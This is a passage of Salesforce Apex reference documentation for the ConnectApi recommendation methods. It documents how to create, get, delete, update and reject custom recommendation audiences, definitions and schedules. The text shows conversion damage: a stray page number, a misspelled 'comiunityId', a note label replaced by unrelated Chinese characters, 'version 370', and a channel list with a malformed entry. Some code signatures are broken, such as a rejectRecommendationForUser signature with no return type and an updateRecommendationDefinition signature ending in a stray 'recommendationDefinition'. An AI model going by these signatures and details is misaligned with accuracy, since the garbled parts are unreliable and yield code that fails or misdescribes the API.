public static ConnectApi.RecommendationAudience createRecommendationAudience(String communityId, String name)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- `name`
  - Type: `String`
  - Name of the audience.

Return Value

Type: `ConnectApi.RecommendationAudience`

Usage

Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

createRecommendationDefinition(communityId, recommendationDefinition)

Create a custom recommendation definition.

API Version

35.0

Requires Chatter

No

Signature

```java
public static ConnectApi.RecommendationDefinition createRecommendationDefinition(String communityId, ConnectApi.RecommendationDefinitionInput recommendationDefinition)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- `recommendationDefinition`
  - Type: `ConnectApi.RecommendationDefinitionInput`
A ConnectApi.RecommendationDefinitionInput object.

Return Value
Type: ConnectApi.RecommendationDefinition

Usage
Recommendation definitions allow you to create custom recommendations that appear in Experience Cloud sites, encouraging users to watch videos, take training and more.

Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

These recommendations appear by default on the Customer Service template. They appear on the home and question detail pages and in the feed in Salesforce mobile web. They also appear anywhere community managers add recommendations using Experience Builder in the Customer Service template.

So that users don’t see the same recommendations all the time, Salesforce periodically removes and brings back custom recommendations that haven’t been accepted or dismissed.

createRecommendationDefinition(communityId, name, title, actionUrl, actionUrlName, explanation)
Create a custom recommendation definition with the specified parameters.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationDefinition createRecommendationDefinition(String communityId, String name, String title, String actionUrl, String actionUrlName, String explanation)

Parameters
CommunityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

name
Type: String
Name of the custom recommendation definition. The name is displayed in Setup.
title
  Type: String
  Title of the custom recommendation definition.

actionUrl
  Type: String
  URL for acting on the custom recommendation, for example, the URL to join a group.

actionUrlName
  Type: String
  Text label for the action URL in the user interface, for example, “Launch.”

explanation
  Type: String
  Explanation, or body, of the custom recommendation.

Return Value
  Type: ConnectApi.RecommendationDefinition

Usage
Recommendation definitions allow you to create custom recommendations that appear in Experience Cloud sites, encouraging users to watch videos, take training and more.

Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

These recommendations appear by default on the Customer Service template. They appear on the home and question detail pages and in the feed in Salesforce mobile web. They also appear anywhere community managers add recommendations using Experience Builder in the Customer Service template.

So that users don’t see the same recommendations all the time, Salesforce periodically removes and brings back custom recommendations that haven’t been accepted or dismissed.

createScheduledRecommendation(communityId, scheduledRecommendation)
Create a scheduled custom recommendation.

API Version
35.0

Requires Chatter
No
Signature

```java
public static ConnectApi.ScheduledRecommendation createScheduledRecommendation(String communityId, ConnectApi.ScheduledRecommendationInput scheduledRecommendation)
```

Parameters

comiunityId  
  Type: String  
  Use the ID for an Experience Cloud site, internal, or null.

scheduledRecommendation  
  Type: ConnectApi.ScheduledRecommendationInput  
  A ConnectApi.ScheduledRecommendationInput object.

Return Value

Type: ConnectApi.ScheduledRecommendation

Usage

Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

```java
createScheduledRecommendation(communityId, recommendationDefinitionId, rank, enabled, recommendationAudienceId, channel)
```

Create a scheduled custom recommendation with the specified parameters.

API Version

36.0

Requires Chatter

No

Signature

```java
public static ConnectApi.ScheduledRecommendation createScheduledRecommendation(String communityId, String recommendationDefinitionId, Integer rank, Boolean enabled, String recommendationAudienceId, ConnectApi.RecommendationChannel channel)
```

Parameters

comiunityId  
  Type: String  
  Use the ID for an Experience Cloud site, internal, or null.
**recommendationDefinitionId**
Type: String
ID of the custom recommendation definition.

**rank**
Type: Integer
Relative rank of the scheduled custom recommendation indicated by ascending whole numbers starting with 1.

Setting the rank is comparable to an insertion into an ordered list. The scheduled custom recommendation is inserted into the position specified by the rank. The rank of all the scheduled custom recommendations after it is pushed down. See Ranking scheduled custom recommendations example.

If the specified rank is larger than the size of the list, the scheduled custom recommendation is put at the end of the list. The rank of the scheduled custom recommendation is the size of the list, instead of the one specified.

If a rank is not specified, the scheduled custom recommendation is put at the end of the list.

**enabled**
Type: Boolean
Indicates whether scheduling is enabled. If true, the custom recommendation is enabled and appears in Experience Cloud sites. If false, custom recommendations in feeds in Salesforce mobile web aren't removed, but no new custom recommendations appear. In Customer Service and Partner Central sites, disabled custom recommendations no longer appear.

**recommendationAudienceId**
Type: String
ID of the custom recommendation definition that this scheduled recommendation schedules.

**channel**
Type: ConnectApi.RecommendationChannel
A way to tie custom recommendations together. For example, display recommendations in specific places in the UI or show recommendations based on time of day or geographic locations. Values are:

- CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels. For example, community managers can use Experience Builder to determine where recommendations appear.
- CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- CustomChannel5—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.

Use these channel values; you can't rename or create other channels.

**Return Value**
Type: ConnectApi.ScheduledRecommendation
Usage

Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

**Ranking scheduled custom recommendations example**

If you have these scheduled custom recommendations:

<table>
<thead>
<tr>
<th>Scheduled Recommendations</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>3</td>
</tr>
</tbody>
</table>

And you include this information in the Scheduled Custom Recommendation Input:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationD</td>
<td>2</td>
</tr>
</tbody>
</table>

The result is:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationD</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>3</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>4</td>
</tr>
</tbody>
</table>

**deleteRecommendationAudience**(communityId, recommendationAudienceId)

Delete a custom recommendation audience.

**API Version**

35.0

**Requires Chatter**

No

**Signature**

```java
public static Void deleteRecommendationAudience(String communityId, String recommendationAudienceId)
```
Parameters

`communityId`
Type: String
Use the ID for an Experience Cloud site, `internal`, or `null`.

`recommendationAudienceId`
Type: String
ID of the custom recommendation audience.

Return Value
Type: Void

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

`deleteRecommendationDefinition(communityId, recommendationDefinitionId)`
Delete a custom recommendation definition.

API Version
35.0

Requires Chatter
No

Signature
```
public static Void deleteRecommendationDefinition(String communityId, String recommendationDefinitionId)
```

Parameters

`communityId`
Type: String
Use the ID for an Experience Cloud site, `internal`, or `null`.

`recommendationDefinitionId`
Type: String
ID of the custom recommendation definition.

Return Value
Type: Void
Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

deleteRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Delete a custom recommendation definition photo.

API Version
35.0

Requires Chatter
Yes

Signature
public static Void deleteRecommendationDefinitionPhoto(String communityId, String recommendationDefinitionId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

recommendationDefinitionId
Type: String
ID of the custom recommendation definition.

Return Value
Type: Void

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

deleteScheduledRecommendation(communityId, scheduledRecommendationId, deleteDefinitionIfLast)
Delete a scheduled custom recommendation.
API Version
35.0

Requires Chatter
No

Signature
```
public static Void deleteScheduledRecommendation(String communityId, String scheduledRecommendationId, Boolean deleteDefinitionIfLast)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **scheduledRecommendationId**
  - Type: String
  - ID of the scheduled custom recommendation.

- **deleteDefinitionIfLast**
  - Type: Boolean
  - If true and if this is the last scheduled custom recommendation of a custom recommendation definition, deletes the custom recommendation definition. Default is false.

Return Value
Type: Void

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

Deleting a scheduled custom recommendation is comparable to a deletion in an ordered list. All scheduled custom recommendations after the deleted scheduled custom recommendation receive a new, higher rank automatically.

```
getRecommendationAudience(communityId, recommendationAudienceId)
```

Get information about a custom recommendation audience.

API Version
35.0
Requires Chatter
No

 Signature

```java
public static ConnectApi.RecommendationAudience getRecommendationAudience(String communityId, String recommendationAudienceId)
```

 Parameters

```java
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
```

```java
recommendationAudienceId
  Type: String
  ID of the custom recommendation audience.
```

 Return Value

Type: `ConnectApi.RecommendationAudience`

 Usage

Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

`getRecommendationAudienceMembership(communityId, recommendationAudienceId)`

Get the members of a custom recommendation audience.

 API Version

35.0

 Requires Chatter

No

 Signature

```java
public static ConnectApi.UserReferencePage getRecommendationAudienceMembership(String communityId, String recommendationAudienceId)
```

 Parameters

```java
communityId
  Type: String
```
Use the ID for an Experience Cloud site, internal, or null.

**recommendationAudienceId**
Type: String
ID of the custom recommendation audience.

Return Value
Type: `ConnectApi.UserReferencePage`

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

**getRecommendationAudienceMembership(communityId, recommendationAudienceId, pageParam, pageSize)**
Get a page of custom recommendation audience members.

API Version
35.0

Requires Chatter
No

Signature

```java
public static ConnectApi.UserReferencePage getRecommendationAudienceMembership(String communityId, String recommendationAudienceId, Integer pageParam, Integer pageSize)
```

Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**recommendationAudienceId**
Type: String
ID of the custom recommendation audience.

**pageParam**
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of members per page.

Return Value
Type: ConnectApi.UserReferencePage

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

getRecommendationAudiences(communityId)
Get custom recommendation audiences.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationAudiencePage getRecommendationAudiences(String communityId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

Return Value
Type: ConnectApi.RecommendationAudiencePage

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

getRecommendationAudiences(communityId, pageParam, pageSize)
Get a page of custom recommendation audiences.
API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationAudiencePage getRecommendationAudiences(String communityId, Integer pageParam, Integer pageSize)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of audiences per page.

Return Value
Type: ConnectApi.RecommendationAudiencePage

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

getRecommendationDefinition(communityId, recommendationDefinitionId)
Get a custom recommendation definition.

API Version
35.0

Requires Chatter
No
public static ConnectApi.RecommendationDefinition getRecommendationDefinition(String communityId, String recommendationDefinitionId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

recommendationDefinitionId
Type: String
ID of the custom recommendation definition.

Return Value
Type: ConnectApi.RecommendationDefinition

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

getRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Get a custom recommendation definition photo.

API Version
35.0

Requires Chatter
Yes

Signature
public static ConnectApi.Photo getRecommendationDefinitionPhoto(String communityId, String recommendationDefinitionId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

recommendationDefinitionId
Type: String
ID of the custom recommendation definition.

Return Value
Type: `ConnectApi.Photo`

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

`getRecommendationDefinitions(communityId)`
Get custom recommendation definitions.

API Version
35.0

Requires Chatter
No

Signature
```java
public static ConnectApi.RecommendationDefinitionPage getRecommendationDefinitions(String communityId)
```

Parameters
`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

Return Value
Type: `ConnectApi.RecommendationDefinitionPage`

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

`getRecommendationForUser(communityId, userId, action, objectId)`
Get the Chatter, custom, or static recommendation for the context user for the specified action and object ID.
API Version
33.0

Requires Chatter
Yes

Signature
public static ConnectApi.RecommendationCollection getRecommendationForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, String objectId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
• follow—Follow a file, record, topic, or user.
• join—Join a group.
• view—View a file, group, article, record, user, custom, or static recommendation.

objectId
Type: String
Specifies the object to act on.
• If action is follow, objectId is a user ID, file ID, record ID, or topic ID (version 36.0 and later).
• If action is join, objectId is a group ID.
• If action is view, objectId is a user ID, file ID, group ID, record ID, custom recommendation ID (version 34.0 and later), the enum Today for static recommendations (version 35.0 and later), or an article ID (version 37.0 and later).

Return Value
Type: ConnectApi.RecommendationCollection
Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

setTestGetRecommendationForUser(communityId, userId, action, objectId, result)

Testing ConnectApi Code

getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults)

Get the Chatter recommendations, such as user, group, file, article, record, and topic recommendations for the context user. Get the custom and static recommendations for the context user.

API Version

36.0

Available to Guest Users

38.0

⚠️ **Note:** Only article and file recommendations are available to guest users.

Requires Chatter

Yes

Signature

```java
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType contextAction, String contextObjectId, ConnectApi.RecommendationChannel channel, Integer maxResults)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- `userId`
  - Type: `String`
  - The ID for the context user or the keyword `me`.

- `contextAction`
  - Type: `ConnectApi.RecommendationActionType`
  - Action that the context user just performed. Supported values are:
    - `follow`
    - `view`

1896
Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify `null`.

**contextObjectId**

Type: `String`

ID of the object that the context user just performed an action on.

- If `contextAction` is `follow`, `contextObjectId` is a user ID, file ID, record ID, or topic ID.
- If `contextAction` is `view`, `contextObjectId` is a user ID, file ID, group ID, record ID, or article ID (version 37.0 and later).

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify `null`.

**channel**

Type: `ConnectApi.RecommendationChannel`

A way to tie custom recommendations together. For example, display recommendations in specific places in the UI or show recommendations based on time of day or geographic locations. Values are:

- CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels. For example, community managers can use Experience Builder to determine where recommendations appear.
- CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- CustomChannel5—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.

**maxResults**

Type: `Integer`

Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

**Return Value**

Type: `ConnectApi.RecommendationCollection`

**Usage**

If you want to get recommendations based on a recent action performed, such as following a user, use `contextAction` and `contextObjectId` together. For example, if you just followed Pam, you specify `follow` for `contextAction` and Pam’s user ID for `contextObjectId`.

This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method returns a recommendation for you to follow Suzanne since John also follows Suzanne.
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

```

Testing ConnectApi Code

```java
getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults)
```

Get the Chatter, custom, and static recommendations for the context user for the specified action.

API Version

36.0

Available to Guest Users

38.0

Note: Only article and file recommendations are available to guest users.

Requires Chatter

Yes

Signature

```java
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, ConnectApi.RecommendationActionType contextAction, String contextObjectId, ConnectApi.RecommendationChannel channel, Integer maxResults)
```
Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**userId**
Type: String
The ID for the context user or the keyword me.

**action**
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
- follow—Follow a file, record, topic, or user.
- join—Join a group.
- view—View a file, group, article, record, user, custom, or static recommendation.

**contextAction**
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
- follow
- view

Use **contextAction** and **contextObjectId** together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify null.

**contextObjectId**
Type: String
ID of the object that the context user just performed an action on.
- If contextAction is follow, contextObjectId is a user ID, file ID, record ID, or topic ID.
- If contextAction is view, contextObjectId is a user ID, file ID, group ID, record ID, or article ID (version 37.0 and later).

Use **contextAction** and **contextObjectId** together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify null.

**channel**
Type: ConnectApi.RecommendationChannel
A way to tie custom recommendations together. For example, display recommendations in specific places in the UI or show recommendations based on time of day or geographic locations. Values are:
- CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
• CustomChannel—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.

• DefaultChannel—Default recommendation channel. Recommendations appear by default on the Home and Question Detail pages of Customer Service and Partner Central Experience Builder templates. They also appear in the feed in the Salesforce mobile web and anywhere community managers add recommendations using Experience Builder.

maxResults
Type: Integer

Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

Return Value
Type: ConnectApi.RecommendationCollection

Usage
If you want to get recommendations based on a recent action performed, such as following a user, use contextAction and contextObjectId together. For example, if you just followed Pam, you specify follow for contextAction and Pam’s user ID for contextObjectId.

This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method returns a recommendation for you to follow Suzanne since John also follows Suzanne.

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults, result)

Testing ConnectApi Code
getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel, maxResults)

Get the Chatter, custom, and static recommendations for the context user for the specified action and object category.

API Version
36.0

Available to Guest Users
38.0

仙境：Only article and file recommendations are available to guest users.

Requires Chatter
Yes

Signature
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, String objectCategory, ConnectApi.RecommendationActionType contextAction, String contextObjectId, ConnectApi.RecommendationChannel channel, Integer maxResults)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
• follow—Follow a file, record, topic, or user.
• join—Join a group.
• view—View a file, group, article, record, user, custom, or static recommendation.

objectCategory
Type: String
• If action is follow, objectCategory is users, files, topics, or records.
• If action is join, objectCategory is groups.
• If action is view, objectCategory is users, files, groups, records, custom, apps, or articles (version 37.0 and later).
You can also specify a key prefix, the first three characters of the object ID, as the objectCategory. Valid values are:

- If action is follow, objectCategory is 005 (users), 069 (files), 0TO (topics), or 001 (accounts), for example.
- If action is join, objectCategory is 0F9 (groups).
- If action is view, objectCategory is 005 (users), 069 (files), 0F9 (groups), 0RD (custom recommendations), T (static recommendations), 001 (accounts), or kA0 (articles), for example, (version 370 and later).

`contextAction`

Type: ConnectApi.RecommendationActionType

Action that the context user just performed. Supported values are:

- follow
- view

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify null.

`contextObjectId`

Type: String

ID of the object that the context user just performed an action on.

- If contextAction is follow, contextObjectId is a user ID, file ID, record ID, or topic ID.
- If contextAction is view, contextObjectId is a user ID, file ID, group ID, record ID, or article ID (version 37.0 and later).

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify null.

`channel`

Type: ConnectApi.RecommendationChannel

A way to tie custom recommendations together. For example, display recommendations in specific places in the UI or show recommendations based on time of day or geographic locations. Values are:

- CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels. For example, community managers can use Experience Builder to determine where recommendations appear.
- CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- CustomChannel5—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.

`maxResults`

Type: Integer

Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
Return Value

Type: `ConnectApi.RecommendationCollection`

Usage

If you want to get recommendations based on a recent action performed, such as following a user, use `contextAction` and `contextObjectId` together. For example, if you just followed Pam, you specify `follow` for `contextAction` and Pam’s user ID for `contextObjectId`.

This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method returns a recommendation for you to follow Suzanne since John also follows Suzanne.

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

- Testing ConnectApi Code

`getScheduledRecommendation(communityId, scheduledRecommendationId)`

Get a scheduled custom recommendation.

API Version

35.0

Requires Chatter

No
Signature

```java
public static ConnectApi.ScheduledRecommendation getScheduledRecommendation(String communityId, String scheduledRecommendationId)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- `scheduledRecommendationId`
  - Type: `String`
  - ID of the scheduled custom recommendation.

Return Value

Type: `ConnectApi.ScheduledRecommendation`

Usage

Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

```java
getScheduledRecommendations(communityId, channel)
```

Get scheduled custom recommendations.

API Version

36.0

Requires Chatter

No

Signature

```java
public static ConnectApi.ScheduledRecommendationPage getScheduledRecommendations(String communityId, ConnectApi.RecommendationChannel channel)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- `channel`
  - Type: `ConnectApi.RecommendationChannel`
A way to tie custom recommendations together. For example, display recommendations in specific places in the UI or show recommendations based on time of day or geographic locations. Values are:

- **CustomChannel1**—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels. For example, community managers can use Experience Builder to determine where recommendations appear.
- **CustomChannel2**—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- **CustomChannel3**—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- **CustomChannel4**—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- **CustomChannel5**—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- **DefaultChannel**—Default recommendation channel. Recommendations appear by default on the Home and Question Detail pages of Customer Service and Partner Central Experience Builder templates. They also appear in the feed in the Salesforce mobile web and anywhere community managers add recommendations using Experience Builder.

**Return Value**

Type: `ConnectApi.ScheduledRecommendationPage`

**Usage**

Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

**rejectRecommendationForUser(communityId, userId, action, objectId)**

Reject a Chatter, custom, or static recommendation for the context user for the specified action and object ID.
userId
Type: String
The ID for the context user or the keyword me.

action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation. Supported values are:
- follow—Follow a file, record, topic, or user.
- join—Join a group.
- view—View a file, group, article, record, user, custom, or static recommendation.

objectId
Type: String
Specifies the object to take action on.
- If action is follow, objectId is a user ID, file ID, record ID, or topic ID (version 36.0 and later).
- If action is join, objectId is a group ID.
- If action is view, objectId is a custom recommendation ID, the enum Today for static recommendations, or an article ID (version 37.0 and later).

Return Value
Type: Void

rejectRecommendationForUser(communityId, userId, action, objectEnum)
Reject a static recommendation for the context user.

API Version
34.0

Requires Chatter
Yes

Signature
public static rejectRecommendationForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, ConnectApi.RecommendedObjectType objectEnum)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

```
action
```

Type: `ConnectApi.RecommendationActionType`

Specifies the action to take on a recommendation. Supported values are:
- **view**—View a static recommendation.

```
objectEnum
```

Type: `ConnectApi.RecommendedObjectType`

Specifies the object type to take action on.
- **Today**—Static recommendations that don’t have an ID, for example, the Today app recommendation.

Return Value

Type: Void

```
updateRecommendationAudience(communityId, recommendationAudienceId, recommendationAudience)
```

Update a custom recommendation audience.

API Version

35.0

Requires Chatter

No

Signature

```
public static ConnectApi.RecommendationAudience updateRecommendationAudience(String communityId, String recommendationAudienceId, ConnectApi.RecommendationAudienceInput recommendationAudience)
```

Parameters

```
communityId
```

Type: `String`

Use the ID for an Experience Cloud site, `internal`, or `null`.

```
recommendationAudienceId
```

Type: `String`

ID of the custom recommendation audience.

```
recommendationAudience
```

Type: `ConnectApi.RecommendationAudienceInput`

A `ConnectApi.RecommendationAudienceInput` object.
Return Value

Type: **ConnectApi.RecommendationAudience**

Usage

Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

**updateRecommendationDefinition(communityId, recommendationDefinitionId, name, title, actionUrl, actionUrlName, explanation)**

Update a custom recommendation definition with the specified parameters.

API Version

35.0

Requires Chatter

No

Signature

```java
public static ConnectApi.RecommendationDefinition updateRecommendationDefinition(String communityId, String recommendationDefinitionId, String name, String title, String actionUrl, String actionUrlName, String explanation recommendationDefinition)
```

Parameters

**communityId**

Type: **String**

Use the ID for an Experience Cloud site, internal, or null.

**recommendationDefinitionId**

Type: **String**

ID of the custom recommendation definition.

**name**

Type: **String**

Name of the custom recommendation definition. The name is displayed in Setup.

**title**

